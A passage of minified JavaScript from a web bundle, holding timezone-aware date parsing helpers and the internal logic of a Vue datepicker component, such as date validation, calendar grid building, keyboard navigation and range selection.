Intl.DateTimeFormat(\"en-US\",{hourCycle:\"h23\",timeZone:e,year:\"numeric\",month:\"numeric\",day:\"2-digit\",hour:\"2-digit\",minute:\"2-digit\",second:\"2-digit\"})}return La[e]}function Fa(e,t,n,r,a,o,i){var l=new Date(0);return l.setUTCFullYear(e,t,n),l.setUTCHours(r,a,o,i),l}var Va=36e5,Ua=6e4,Xa={timezone:\u002F([Z+-].*)$\u002F,timezoneZ:\u002F^(Z)$\u002F,timezoneHH:\u002F^([+-]\\d{2})$\u002F,timezoneHHMM:\u002F^([+-]\\d{2}):?(\\d{2})$\u002F};function Ha(e,t,n){var r,a,o;if(!e||(r=Xa.timezoneZ.exec(e),r))return 0;if(r=Xa.timezoneHH.exec(e),r)return o=parseInt(r[1],10),Ka(o)?-o*Va:NaN;if(r=Xa.timezoneHHMM.exec(e),r){o=parseInt(r[1],10);var i=parseInt(r[2],10);return Ka(o,i)?(a=Math.abs(o)*Va+i*Ua,o>0?-a:a):NaN}if(Qa(e)){t=new Date(t||Date.now());var l=n?t:Ga(t),s=Ya(l,e),u=n?s:za(t,s,e);return-u}return NaN}function Ga(e){return Fa(e.getFullYear(),e.getMonth(),e.getDate(),e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds())}function Ya(e,t){var n=Wa(e,t),r=Fa(n[0],n[1]-1,n[2],n[3]%24,n[4],n[5],0).getTime(),a=e.getTime(),o=a%1e3;return a-=o>=0?o:1e3+o,r-a}function za(e,t,n){var r=e.getTime(),a=r-t,o=Ya(new Date(a),n);if(t===o)return t;a-=o-t;var i=Ya(new Date(a),n);return o===i?o:Math.max(o,i)}function Ka(e,t){return-23\u003C=e&&e\u003C=23&&(null==t||0\u003C=t&&t\u003C=59)}var qa={};function Qa(e){if(qa[e])return!0;try{return new Intl.DateTimeFormat(void 0,{timeZone:e}),qa[e]=!0,!0}catch{return!1}}var Za=\u002F(Z|[+-]\\d{2}(?::?\\d{2})?| UTC| [a-zA-Z]+\\\u002F[a-zA-Z_]+(?:\\\u002F[a-zA-Z_]+)?)$\u002F;const Ja=Za;var eo=36e5,to=6e4,no=2,ro={dateTimePattern:\u002F^([0-9W+-]+)(T| )(.*)\u002F,datePattern:\u002F^([0-9W+-]+)(.*)\u002F,plainTime:\u002F:\u002F,YY:\u002F^(\\d{2})$\u002F,YYY:[\u002F^([+-]\\d{2})$\u002F,\u002F^([+-]\\d{3})$\u002F,\u002F^([+-]\\d{4})$\u002F],YYYY:\u002F^(\\d{4})\u002F,YYYYY:[\u002F^([+-]\\d{4})\u002F,\u002F^([+-]\\d{5})\u002F,\u002F^([+-]\\d{6})\u002F],MM:\u002F^-(\\d{2})$\u002F,DDD:\u002F^-?(\\d{3})$\u002F,MMDD:\u002F^-?(\\d{2})-?(\\d{2})$\u002F,Www:\u002F^-?W(\\d{2})$\u002F,WwwD:\u002F^-?W(\\d{2})-?(\\d{1})$\u002F,HH:\u002F^(\\d{2}([.,]\\d*)?)$\u002F,HHMM:\u002F^(\\d{2}):?(\\d{2}([.,]\\d*)?)$\u002F,HHMMSS:\u002F^(\\d{2}):?(\\d{2}):?(\\d{2}([.,]\\d*)?)$\u002F,timeZone:Ja};function ao(e,t){if(arguments.length\u003C1)throw new TypeError(\"1 argument required, but only \"+arguments.length+\" present\");if(null===e)return new Date(NaN);var n=t||{},r=null==n.additionalDigits?no:Ma(n.additionalDigits);if(2!==r&&1!==r&&0!==r)throw new RangeError(\"additionalDigits must be 0, 1 or 2\");if(e instanceof Date||\"object\"==typeof e&&\"[object Date]\"===Object.prototype.toString.call(e))return new Date(e.getTime());if(\"number\"==typeof e||\"[object Number]\"===Object.prototype.toString.call(e))return new Date(e);if(\"string\"!=typeof e&&\"[object String]\"!==Object.prototype.toString.call(e))return new Date(NaN);var a=oo(e),o=io(a.date,r),i=o.year,l=o.restDateString,s=lo(l,i);if(isNaN(s))return new Date(NaN);if(s){var u,d=s.getTime(),c=0;if(a.time&&(c=so(a.time),isNaN(c)))return new Date(NaN);if(a.timeZone||n.timeZone){if(u=Ha(a.timeZone||n.timeZone,new Date(d+c)),isNaN(u))return new Date(NaN)}else u=Ba(new Date(d+c)),u=Ba(new Date(d+c+u));return new Date(d+c+u)}return new Date(NaN)}function oo(e){var t,n={},r=ro.dateTimePattern.exec(e);if(r?(n.date=r[1],t=r[3]):(r=ro.datePattern.exec(e),r?(n.date=r[1],t=r[2]):(n.date=null,t=e)),t){var a=ro.timeZone.exec(t);a?(n.time=t.replace(a[1],\"\"),n.timeZone=a[1].trim()):n.time=t}return n}function io(e,t){var n,r=ro.YYY[t],a=ro.YYYYY[t];if(n=ro.YYYY.exec(e)||a.exec(e),n){var o=n[1];return{year:parseInt(o,10),restDateString:e.slice(o.length)}}if(n=ro.YY.exec(e)||r.exec(e),n){var i=n[1];return{year:100*parseInt(i,10),restDateString:e.slice(i.length)}}return{year:null}}function lo(e,t){if(null===t)return null;var n,r,a,o;if(0===e.length)return r=new Date(0),r.setUTCFullYear(t),r;if(n=ro.MM.exec(e),n)return r=new Date(0),a=parseInt(n[1],10)-1,ho(t,a)?(r.setUTCFullYear(t,a),r):new Date(NaN);if(n=ro.DDD.exec(e),n){r=new Date(0);var i=parseInt(n[1],10);return vo(t,i)?(r.setUTCFullYear(t,0,i),r):new Date(NaN)}if(n=ro.MMDD.exec(e),n){r=new Date(0),a=parseInt(n[1],10)-1;var l=parseInt(n[2],10);return ho(t,a,l)?(r.setUTCFullYear(t,a,l),r):new Date(NaN)}if(n=ro.Www.exec(e),n)return o=parseInt(n[1],10)-1,mo(t,o)?uo(t,o):new Date(NaN);if(n=ro.WwwD.exec(e),n){o=parseInt(n[1],10)-1;var s=parseInt(n[2],10)-1;return mo(t,o,s)?uo(t,o,s):new Date(NaN)}return null}function so(e){var t,n,r;if(t=ro.HH.exec(e),t)return n=parseFloat(t[1].replace(\",\",\".\")),go(n)?n%24*eo:NaN;if(t=ro.HHMM.exec(e),t)return n=parseInt(t[1],10),r=parseFloat(t[2].replace(\",\",\".\")),go(n,r)?n%24*eo+r*to:NaN;if(t=ro.HHMMSS.exec(e),t){n=parseInt(t[1],10),r=parseInt(t[2],10);var a=parseFloat(t[3].replace(\",\",\".\"));return go(n,r,a)?n%24*eo+r*to+1e3*a:NaN}return null}function uo(e,t,n){t=t||0,n=n||0;var r=new Date(0);r.setUTCFullYear(e,0,4);var a=r.getUTCDay()||7,o=7*t+n+1-a;return r.setUTCDate(r.getUTCDate()+o),r}var co=[31,28,31,30,31,30,31,31,30,31,30,31],fo=[31,29,31,30,31,30,31,31,30,31,30,31];function po(e){return e%400===0||e%4===0&&e%100!==0}function ho(e,t,n){if(t\u003C0||t>11)return!1;if(null!=n){if(n\u003C1)return!1;var r=po(e);if(r&&n>fo[t]||!r&&n>co[t])return!1}return!0}function vo(e,t){if(t\u003C1)return!1;var n=po(e);return!(n&&t>366||!n&&t>365)}function mo(e,t,n){return!(t\u003C0||t>52||null!=n&&(n\u003C0||n>6))}function go(e,t,n){return!(null!=e&&(e\u003C0||e>=25)||null!=t&&(t\u003C0||t>=60)||null!=n&&(n\u003C0||n>=60))}var yo={},bo={get exports(){return yo},set exports(e){yo=e}},$o={},wo={get exports(){return $o},set exports(e){$o=e}};(function(e,t){function n(e,t){if(null==e)throw new TypeError(\"assign requires that input parameter not be null or undefined\");for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e}Object.defineProperty(t,\"__esModule\",{value:!0}),t.default=n,e.exports=t.default})(wo,$o),function(e,t){Object.defineProperty(t,\"__esModule\",{value:!0}),t.default=a;var n=r($o);function r(e){return e&&e.__esModule?e:{default:e}}function a(e){return(0,n.default)({},e)}e.exports=t.default}(bo,yo);const _o=Ta(yo);function ko(e,t,n){var r=ao(e,n),a=Ha(t,r,!0),o=new Date(r.getTime()-a),i=new Date(0);return i.setFullYear(o.getUTCFullYear(),o.getUTCMonth(),o.getUTCDate()),i.setHours(o.getUTCHours(),o.getUTCMinutes(),o.getUTCSeconds(),o.getUTCMilliseconds()),i}function Co(e,t,n){if(\"string\"==typeof e&&!e.match(Ja)){var r=_o(n);return r.timeZone=t,ao(e,r)}var a=ao(e,n),o=Fa(a.getFullYear(),a.getMonth(),a.getDate(),a.getHours(),a.getMinutes(),a.getSeconds(),a.getMilliseconds()).getTime(),i=Ha(t,new Date(o));return new Date(o+i)}const xo=(e,t=3)=>{const n=[];for(let r=0;r\u003Ce.length;r+=t)n.push([e[r],e[r+1],e[r+2]]);return n},So=(e,t)=>{const n=[1,2,3,4,5,6,7].map(t=>new Intl.DateTimeFormat(e,{weekday:\"short\",timeZone:\"UTC\"}).format(new Date(`2017-01-0${t}T00:00:00+00:00`)).slice(0,2)),r=n.slice(0,t),a=n.slice(t+1,n.length);return[n[t]].concat(...a).concat(...r)},Eo=e=>{const t=[];for(let n=+e[0];n\u003C=+e[1];n++)t.push({value:+n,text:`${n}`});return t},To=(e,t)=>{const n=new Intl.DateTimeFormat(e,{month:t,timeZone:\"UTC\"});return[1,2,3,4,5,6,7,8,9,10,11,12].map(e=>{const t=e\u003C10?`0${e}`:e;return new Date(`2017-${t}-01T00:00:00+00:00`)}).map((e,t)=>({text:n.format(e),value:t}))},Ro=e=>[12,1,2,3,4,5,6,7,8,9,10,11,12,1,2,3,4,5,6,7,8,9,10,11][e],Oo=e=>{const t=(0,a.R1)(e);return null!=t&&t.$el?null==t?void 0:t.$el:t},Mo=e=>Object.assign({type:\"dot\"},e),Ao=e=>!!Array.isArray(e)&&(!!e[0]&&!!e[1]),Do={prop:e=>`\"${e}\" prop must be enabled!`,dateArr:e=>`You need to use array as \"model-value\" binding in order to support \"${e}\"`},Bo=e=>e,Wo=e=>0===e?e:!e||isNaN(+e)?null:+e,Po=e=>Object.assign({menuAppear:\"dp-menu-appear\",open:\"dp-slide-down\",close:\"dp-slide-up\",next:\"calendar-next\",previous:\"calendar-prev\",vNext:\"dp-slide-up\",vPrevious:\"dp-slide-down\"},e),Io=e=>Object.assign({toggleOverlay:\"Toggle overlay\",menu:\"Datepicker menu\",input:\"Datepicker input\",calendarWrap:\"Calendar wrapper\",calendarDays:\"Calendar days\",openTimePicker:\"Open time picker\",closeTimePicker:\"Close time Picker\",incrementValue:e=>`Increment ${e}`,decrementValue:e=>`Decrement ${e}`,openTpOverlay:e=>`Open ${e} overlay`,amPmButton:\"Switch AM\u002FPM mode\",openYearsOverlay:\"Open years overlay\",openMonthsOverlay:\"Open months overlay\",nextMonth:\"Next month\",prevMonth:\"Previous month\",day:()=>\"\"},e),No=e=>null===e?0:\"boolean\"==typeof e?e?2:0:+e>=2?+e:2,Lo=(e,t,n)=>e||(\"string\"==typeof n?n:t),jo=e=>\"boolean\"==typeof e?!!e&&Po({}):Po(e),Fo=()=>({enterSubmit:!0,tabSubmit:!0,openMenu:!0,rangeSeparator:\" - \"}),Vo=e=>Object.assign({months:[],years:[],times:{hours:[],minutes:[],seconds:[]}},e),Uo=e=>{const t=()=>{if(e.partialRange)return null;throw new Error(Do.prop(\"partial-range\"))},n=(0,r.EW)(()=>({ariaLabels:Io(e.ariaLabels),textInputOptions:Object.assign(Fo(),e.textInputOptions),multiCalendars:No(e.multiCalendars),previewFormat:Lo(e.previewFormat,e.format,i()),filters:Vo(e.filters),transitions:jo(e.transitions),startTime:p()})),a=t=>{if(e.range)return t();throw new Error(Do.prop(\"range\"))},o=()=>{const t=e.enableSeconds?\":ss\":\"\";return e.is24?`HH:mm${t}`:`hh:mm${t} aa`},i=()=>e.format?e.format:e.monthPicker?\"MM\u002Fyyyy\":e.timePicker?o():e.weekPicker?\"MM\u002Fdd\u002Fyyyy\":e.yearPicker?\"yyyy\":e.enableTimePicker?`MM\u002Fdd\u002Fyyyy, ${o()}`:\"MM\u002Fdd\u002Fyyyy\",l=(t,r)=>{if(\"function\"==typeof e.format)return e.format(t);const a=r||i(),o=e.formatLocale?{locale:e.formatLocale}:void 0;return Array.isArray(t)?`${xn(t[0],a,o)} ${e.modelAuto&&!t[1]?\"\":n.value.textInputOptions.rangeSeparator||\"-\"} ${t[1]?xn(t[1],a,o):\"\"}`:xn(t,a,o)},s=t=>e.timezone?ko(t,e.timezone):t,u=t=>e.timezone?Co(t,e.timezone):t,d=(0,r.EW)(()=>t=>{var n;return null==(n=e.hideNavigation)?void 0:n.includes(t)}),c=t=>{const r=!!e.maxDate&&Ca(s(t),s(ya(e.maxDate))),a=!!e.minDate&&_a(s(t),s(ya(e.minDate))),o=y(t,e.disabledDates),i=n.value.filters.months.map(e=>+e).includes(En(t)),l=!!e.disabledWeekDays.length&&e.disabledWeekDays.some(e=>+e===Tn(t)),u=!!e.allowedDates.length&&!e.allowedDates.some(e=>ka(s(ya(e)),s(t))),d=Rn(t),c=d\u003C+e.yearRange[0]||d>+e.yearRange[1];return!(r||a||o||i||c||l||u)},f=e=>{const t={hours:On(ya()),minutes:Mn(ya()),seconds:An(ya())};return Object.assign(t,e)},p=()=>e.range?e.startTime&&Array.isArray(e.startTime)?[f(e.startTime[0]),f(e.startTime[1])]:null:e.startTime&&!Array.isArray(e.startTime)?f(e.startTime):null,h=e=>!c(e),v=e=>Array.isArray(e)?en(e[0])&&(!e[1]||en(e[1])):!!e&&en(e),m=e=>e instanceof Date?e:Dn(e),g=t=>{const n=Jn(s(t),{weekStartsOn:+e.weekStart}),r=er(s(t),{weekStartsOn:+e.weekStart});return[n,r]},y=(e,t)=>Array.isArray(t)?t.some(t=>ka(s(ya(t)),s(e))):t(e),b=(e,t,n)=>{let r=e?ya(e):ya();return(t||0===t)&&(r=nr(r,t)),n&&(r=rr(r,n)),r},$=e=>ar(ya(),{hours:On(e),minutes:Mn(e),seconds:An(e)}),w=e=>ar(ya(),{hours:+e.hours||0,minutes:+e.minutes||0,seconds:+e.seconds||0}),_=(e,t,n,r)=>{if(!e)return!0;if(r){const r=\"max\"===n?on(e,t):sn(e,t),a={seconds:0,milliseconds:0};return r||ln(ar(e,a),ar(t,a))}return\"max\"===n?e.getTime()\u003C=t.getTime():e.getTime()>=t.getTime()},k=()=>!e.enableTimePicker||e.monthPicker||e.yearPicker||e.ignoreTimeValidation,C=e=>Array.isArray(e)?[e[0]?$(e[0]):null,e[1]?$(e[1]):null]:$(e),x=t=>{const n=e.maxTime?w(e.maxTime):ya(e.maxDate);return Array.isArray(t)?_(t[0],n,\"max\",!!e.maxDate)&&_(t[1],n,\"max\",!!e.maxDate):_(t,n,\"max\",!!e.maxDate)},S=(t,n)=>{const r=e.minTime?w(e.minTime):ya(e.minDate);return Array.isArray(t)?_(t[0],r,\"min\",!!e.minDate)&&_(t[1],r,\"min\",!!e.minDate)&&n:_(t,r,\"min\",!!e.minDate)&&n},E=t=>{let n=!0;if(!t||k())return!0;const r=e.minDate||e.maxDate?t:C(t);return(e.maxTime||e.maxDate)&&(n=x(Bo(r))),(e.minTime||e.minDate)&&(n=S(Bo(r),n)),n},T=(t,n)=>{const r=ya(JSON.parse(JSON.stringify(t))),a=[];for(let o=0;o\u003C7;o++){const t=or(r,o),i=En(t)!==n;a.push({text:e.hideOffsetDates&&i?\"\":t.getDate(),value:t,current:!i,classData:{}})}return a},R=(t,n)=>{const r=[],a=ya(s(new Date(n,t))),o=ya(s(new Date(n,t+1,0))),i=Jn(a,{weekStartsOn:e.weekStart}),l=e=>{const n=T(e,t);if(r.push({days:n}),!r[r.length-1].days.some(e=>ka($a(e.value),$a(o)))){const t=or(e,7);l(t)}};if(l(i),e.sixWeeks&&r.length\u003C6){const e=6-r.length;for(let t=1;t\u003C=e;t++){const e=r[r.length-1],t=e.days[e.days.length-1],n=T(or(t.value,1),En(a));r.push({days:n})}}return r},O=(e,t,n)=>[ar(ya(e),{date:1}),ar(ya(),{month:t,year:n,date:1})],M=(t,n)=>_a(...O(e.minDate,t,n))||ka(...O(e.minDate,t,n)),A=(t,n)=>Ca(...O(e.maxDate,t,n))||ka(...O(e.maxDate,t,n)),D=(t,n,r)=>{let a=!1;return e.maxDate&&r&&A(t,n)&&(a=!0),e.minDate&&!r&&M(t,n)&&(a=!0),a};return{checkPartialRangeValue:t,checkRangeEnabled:a,getZonedDate:s,getZonedToUtc:u,formatDate:l,getDefaultPattern:i,validateDate:c,getDefaultStartTime:p,isDisabled:h,isValidDate:v,sanitizeDate:m,getWeekFromDate:g,matchDate:y,setDateMonthOrYear:b,isValidTime:E,getCalendarDays:R,validateMonthYearInRange:(t,n,r,a)=>{let o=!1;return a?e.minDate&&e.maxDate?o=D(t,n,r):(e.minDate&&M(t,n)||e.maxDate&&A(t,n))&&(o=!0):o=!0,o},validateMaxDate:A,validateMinDate:M,defaults:n,hideNavigationButtons:d}},Xo=(0,a.Kh)({monthYear:[],calendar:[],time:[],actionRow:[],selectionGrid:[],timePicker:{0:[],1:[]},monthPicker:[]}),Ho=(0,a.KR)(null),Go=(0,a.KR)(!1),Yo=(0,a.KR)(!1),zo=(0,a.KR)(!1),Ko=(0,a.KR)(!1),qo=(0,a.KR)(0),Qo=(0,a.KR)(0),Zo=()=>{const e=(0,r.EW)(()=>Go.value?[...Xo.selectionGrid,Xo.actionRow].filter(e=>e.length):Yo.value?[...Xo.timePicker[0],...Xo.timePicker[1],Ko.value?[]:[Ho.value],Xo.actionRow].filter(e=>e.length):zo.value?[...Xo.monthPicker,Xo.actionRow]:[Xo.monthYear,...Xo.calendar,Xo.time,Xo.actionRow].filter(e=>e.length)),t=t=>{qo.value=t?qo.value+1:qo.value-1;let n=null;e.value[Qo.value]&&(n=e.value[Qo.value][qo.value]),n||(qo.value=t?qo.value-1:qo.value+1)},n=t=>{0===Qo.value&&!t||Qo.value===e.value.length&&t||(Qo.value=t?Qo.value+1:Qo.value-1,e.value[Qo.value]?e.value[Qo.value]&&!e.value[Qo.value][qo.value]&&0!==qo.value&&(qo.value=e.value[Qo.value].length-1):Qo.value=t?Qo.value-1:Qo.value+1)},a=t=>{let n=null;e.value[Qo.value]&&(n=e.value[Qo.value][qo.value]),n?n.focus({preventScroll:!Go.value}):qo.value=t?qo.value-1:qo.value+1},o=()=>{t(!0),a(!0)},i=()=>{t(!1),a(!1)},l=()=>{n(!1),a(!0)},s=()=>{n(!0),a(!0)},u=(e,t)=>{Xo[t]=e},d=(e,t)=>{Xo[t]=e},c=()=>{qo.value=0,Qo.value=0};return{buildMatrix:u,buildMultiLevelMatrix:d,setTimePickerBackRef:e=>{Ho.value=e},setSelectionGrid:e=>{Go.value=e,c(),e||(Xo.selectionGrid=[])},setTimePicker:(e,t=!1)=>{Yo.value=e,Ko.value=t,c(),e||(Xo.timePicker[0]=[],Xo.timePicker[1]=[])},setTimePickerElements:(e,t=0)=>{Xo.timePicker[t]=e},arrowRight:o,arrowLeft:i,arrowUp:l,arrowDown:s,clearArrowNav:()=>{Xo.monthYear=[],Xo.calendar=[],Xo.time=[],Xo.actionRow=[],Xo.selectionGrid=[],Xo.timePicker[0]=[],Xo.timePicker[1]=[],Go.value=!1,Yo.value=!1,Ko.value=!1,zo.value=!1,c(),Ho.value=null},setMonthPicker:e=>{zo.value=e,c()},refSets:Xo}},Jo=e=>Array.isArray(e),ei=e=>Array.isArray(e),ti=e=>Array.isArray(e)&&2===e.length,ni=(e,t,n,o,i)=>{const{getDefaultStartTime:l,isDisabled:s,sanitizeDate:u,getWeekFromDate:d,setDateMonthOrYear:c,validateMonthYearInRange:f,defaults:p}=Uo(e),h=(0,r.EW)({get:()=>e.internalModelValue,set:n=>{!e.readonly&&!e.disabled&&t(\"update:internal-model-value\",n)}}),v=(0,a.KR)([]);(0,r.wB)(h,()=>{e.multiCalendars||k()});const m=(0,a.KR)([{month:En(ya()),year:Rn(ya())}]),g=(0,a.Kh)({hours:e.range?[On(ya()),On(ya())]:On(ya()),minutes:e.range?[Mn(ya()),Mn(ya())]:Mn(ya()),seconds:e.range?[0,0]:0}),y=(0,r.EW)(()=>e=>m.value[e]?m.value[e].month:0),b=(0,r.EW)(()=>e=>m.value[e]?m.value[e].year:0),$=(0,r.EW)(()=>!e.flow||!e.flow.length||i.value===e.flow.length),w=(e,t,n)=>{var r,a;m.value[e]||(m.value[e]={month:0,year:0}),m.value[e].month=null===t?null==(r=m.value[e])?void 0:r.month:t,m.value[e].year=null===n?null==(a=m.value[e])?void 0:a.year:n},_=(e,t)=>{g[e]=t};(0,r.sV)(()=>{h.value||(e.startDate&&(w(0,En(ya(e.startDate)),Rn(ya(e.startDate))),p.value.multiCalendars&&ne(0)),p.value.startTime&&D()),k(!0)});const k=(t=!1)=>h.value?Array.isArray(h.value)?(v.value=h.value,T(t)):x(h.value):e.timePicker?R():e.monthPicker&&!e.range?O():e.yearPicker&&!e.range?M():p.value.multiCalendars&&t&&!e.startDate?C(ya(),t):void 0,C=(t,n=!1)=>{if((!p.value.multiCalendars||!e.multiStatic||n)&&w(0,En(t),Rn(t)),p.value.multiCalendars)for(let e=1;e\u003Cp.value.multiCalendars;e++){const t=ar(ya(),{month:y.value(e-1),year:b.value(e-1)}),n=lr(t,{months:1});m.value[e]={month:En(n),year:Rn(n)}}},x=e=>{C(e),_(\"hours\",On(e)),_(\"minutes\",Mn(e)),_(\"seconds\",An(e))},S=(e,t)=>{C(e[0],t);const n=(t,n)=>[t(e[0]),e[1]?t(e[1]):g[n][1]];_(\"hours\",n(On,\"hours\")),_(\"minutes\",n(Mn,\"minutes\")),_(\"seconds\",n(An,\"seconds\"))},E=(t,n)=>{if((e.range||e.weekPicker)&&!e.multiDates)return S(t,n);if(e.multiDates){const e=t[t.length-1];return x(e)}},T=t=>{const n=h.value;E(n,t),p.value.multiCalendars&&e.multiCalendarsSolo&&W()},R=()=>{if(D(),e.range){const e=g.hours,t=g.minutes;h.value=[wa(ya(),e[0],t[0],A()),wa(ya(),e[1],t[1],A(!1))]}else h.value=wa(ya(),g.hours,g.minutes,A())},O=()=>{h.value=c(ya(),y.value(0),b.value(0))},M=()=>{h.value=ya()},A=(t=!0)=>e.enableSeconds?Array.isArray(g.seconds)?t?g.seconds[0]:g.seconds[1]:g.seconds:0,D=()=>{const t=l();if(t){const n=Array.isArray(t),r=n?[+t[0].hours,+t[1].hours]:+t.hours,a=n?[+t[0].minutes,+t[1].minutes]:+t.minutes,o=n?[+t[0].seconds,+t[1].seconds]:+t.seconds;_(\"hours\",r),_(\"minutes\",a),e.enableSeconds&&_(\"seconds\",o)}},B=()=>Array.isArray(h.value)&&h.value.length?h.value[h.value.length-1]:null,W=()=>{if(Array.isArray(h.value)&&2===h.value.length){const t=ya(ya(h.value[1]?h.value[1]:ir(h.value[0],1))),[n,r]=[En(h.value[0]),Rn(h.value[0])],[a,o]=[En(h.value[1]),Rn(h.value[1])];(n!==a||n===a&&r!==o)&&e.multiCalendarsSolo&&w(1,En(t),Rn(t))}},P=e=>{const t=ir(e,1);return{month:En(t),year:Rn(t)}},I=e=>{const t=En(ya(e)),n=Rn(ya(e));if(w(0,t,n),p.value.multiCalendars>0)for(let r=1;r\u003Cp.value.multiCalendars;r++){const t=P(ar(ya(e),{year:y.value(r-1),month:b.value(r-1)}));w(r,t.month,t.year)}},N=t=>{if(h.value&&Array.isArray(h.value))if(h.value.some(e=>ka(t,e))){const e=h.value.filter(e=>!ka(e,t));h.value=e.length?e:null}else(e.multiDatesLimit&&+e.multiDatesLimit>h.value.length||!e.multiDatesLimit)&&h.value.push(t);else h.value=[t]},L=(e,t)=>{const n=Ca(e,t)?t:e,r=Ca(t,e)?t:e;return sr({start:n,end:r})},j=t=>{if(Array.isArray(h.value)&&h.value[0]){const n=cr(t,h.value[0]),r=L(h.value[0],t),a=1===r.length?0:r.filter(e=>s(e)).length,o=Math.abs(n)-a;if(e.minRange&&e.maxRange)return o>=+e.minRange&&o\u003C=+e.maxRange;if(e.minRange)return o>=+e.minRange;if(e.maxRange)return o\u003C=+e.maxRange}return!0},F=n=>Array.isArray(h.value)&&2===h.value.length?e.fixedStart&&(Ca(n,h.value[0])||ka(n,h.value[0]))?[h.value[0],n]:e.fixedEnd&&(_a(n,h.value[1])||ka(n,h.value[1]))?[n,h.value[1]]:(t(\"invalid-fixed-range\",n),h.value):[],V=()=>{e.autoApply&&$.value&&t(\"auto-apply\")},U=()=>{e.autoApply&&t(\"select-date\")},X=e=>!sr({start:e[0],end:e[1]}).some(e=>s(e)),H=e=>(h.value=d(ya(e.value)),V()),G=t=>{const r=wa(ya(t.value),g.hours,g.minutes,A());e.multiDates?N(r):h.value=r,n(),V()},Y=()=>{v.value=h.value?h.value.slice():[],2===v.value.length&&!e.fixedStart&&!e.fixedEnd&&(v.value=[])},z=(t,n)=>{const r=[ya(t.value),or(ya(t.value),+e.autoRange)];X(r)&&(n&&I(t.value),v.value=r)},K=e=>{q(e.value)||(v.value=F(ya(e.value)))},q=t=>!!e.noDisabledRange&&L(v.value[0],t).some(e=>s(e)),Q=(t,n)=>(Y(),e.autoRange?z(t,n):e.fixedStart||e.fixedEnd?K(t):void(v.value[0]?j(ya(t.value))&&!q(t.value)&&(_a(ya(t.value),ya(v.value[0]))?v.value.unshift(ya(t.value)):v.value[1]=ya(t.value)):v.value[0]=ya(t.value))),Z=e=>{v.value[e]=wa(v.value[e],g.hours[e],g.minutes[e],A(1!==e))},J=()=>{v.value.length&&(v.value[0]&&!v.value[1]?Z(0):(Z(0),Z(1),n()),h.value=v.value.slice(),v.value[0]&&v.value[1]&&e.autoApply&&t(\"auto-apply\"),v.value[0]&&!v.value[1]&&e.modelAuto&&e.autoApply&&t(\"auto-apply\"))},ee=(t,n=!1)=>{if(!(s(t.value)||!t.current&&e.hideOffsetDates)){if(e.weekPicker)return H(t);if(!e.range)return G(t);ei(g.hours)&&ei(g.minutes)&&!e.multiDates&&(Q(t,n),J())}},te=e=>{const t=e.find(e=>e.current);return t?mr(t.value):\"\"},ne=e=>{for(let t=e-1;t>=0;t--){const e=gr(ar(ya(),{month:y.value(t+1),year:b.value(t+1)}),1);w(t,En(e),Rn(e))}for(let t=e+1;t\u003C=p.value.multiCalendars-1;t++){const e=ir(ar(ya(),{month:y.value(t-1),year:b.value(t-1)}),1);w(t,En(e),Rn(e))}},re=e=>c(ya(),y.value(e),b.value(e)),ae=e=>wa(e,g.hours,g.minutes,A()),oe=(n,r)=>{const a=e.monthPicker?y.value(n)!==r.month||!r.fromNav:b.value(n)!==r.year;if(w(n,r.month,r.year),p.value.multiCalendars&&!e.multiCalendarsSolo&&ne(n),e.monthPicker||e.yearPicker)if(e.range){if(a){let e=h.value?h.value.slice():[];2===e.length&&null!==e[1]&&(e=[]),e.length?_a(re(n),e[0])?e.unshift(re(n)):e[1]=re(n):e=[re(n)],h.value=e}}else h.value=re(n);t(\"update-month-year\",{instance:n,month:r.month,year:r.year}),o(e.multiCalendarsSolo?n:void 0)},ie=async(a=!1)=>{if(e.autoApply&&(e.monthPicker||e.yearPicker)){await(0,r.dY)();const n=!!e.monthPicker&&a;e.range?t(\"auto-apply\",n||!h.value||1===h.value.length):t(\"auto-apply\",n)}n()},le=(n,r)=>{const a=ar(ya(),{month:y.value(r),year:b.value(r)}),i=n\u003C0?ir(a,1):gr(a,1);f(En(i),Rn(i),n\u003C0,e.preventMinMaxNavigation)&&(w(r,En(i),Rn(i)),p.value.multiCalendars&&!e.multiCalendarsSolo&&ne(r),t(\"update-month-year\",{instance:r,month:En(i),year:Rn(i)}),o())},se=n=>{Jo(n)&&Jo(h.value)&&ei(g.hours)&&ei(g.minutes)?(n[0]&&h.value[0]&&(h.value[0]=wa(n[0],g.hours[0],g.minutes[0],A())),n[1]&&h.value[1]&&(h.value[1]=wa(n[1],g.hours[1],g.minutes[1],A(!1)))):e.multiDates&&Array.isArray(h.value)?h.value[h.value.length-1]=ae(n):!e.range&&!ti(n)&&(h.value=ae(n)),t(\"time-update\")},ue=(t,r=!0,a=!1)=>{const o=r?t:g.hours,i=r||a?g.minutes:t,l=a?t:g.seconds;if(e.range&&ti(h.value)&&ei(o)&&ei(i)&&ei(l)&&!e.disableTimeRangeValidation){const e=e=>wa(h.value[e],o[e],i[e],l[e]),t=e=>an(h.value[e],0);if(ka(h.value[0],h.value[1])&&(sn(e(0),t(1))||on(e(1),t(0))))return}if(_(\"hours\",o),_(\"minutes\",i),_(\"seconds\",l),h.value)if(e.multiDates){const e=B();e&&se(e)}else se(h.value);else e.timePicker&&se(e.range?[ya(),ya()]:ya());n()},de=(t,n)=>{e.monthChangeOnScroll&&le(\"inverse\"!==e.monthChangeOnScroll?-t.deltaY:t.deltaY,n)},ce=(t,n,r=!1)=>{e.monthChangeOnArrows&&e.vertical===r&&fe(t,n)},fe=(e,t)=>{le(\"right\"===e?-1:1,t)};return{time:g,month:y,year:b,modelValue:h,calendars:m,monthYearSelect:ie,isDisabled:s,updateTime:ue,getWeekNum:te,selectDate:ee,updateMonthYear:oe,handleScroll:de,getMarker:t=>e.markers.find(e=>ka(u(t.value),u(e.date))),handleArrow:ce,handleSwipe:fe,selectCurrentDate:()=>{e.range?h.value&&Array.isArray(h.value)&&h.value[0]?h.value=_a(ya(),h.value[0])?[ya(),h.value[0]]:[h.value[0],ya()]:h.value=[ya()]:h.value=ya(),U()},presetDateRange:(t,n)=>{n||t.length&&t.length\u003C=2&&e.range&&(h.value=t.map(e=>ya(e)),U(),e.multiCalendars&&(0,r.dY)().then(()=>k(!0)))}}},ri=(e,t,n)=>{const o=(0,a.KR)(),{getZonedToUtc:i,getZonedDate:l,formatDate:s,getDefaultPattern:u,checkRangeEnabled:d,checkPartialRangeValue:c,isValidDate:f,setDateMonthOrYear:p,defaults:h}=Uo(t),v=(0,a.KR)(\"\"),m=(0,a.lW)(t,\"format\");(0,r.wB)(o,()=>{e(\"internal-model-change\",o.value)}),(0,r.wB)(m,()=>{P()});const 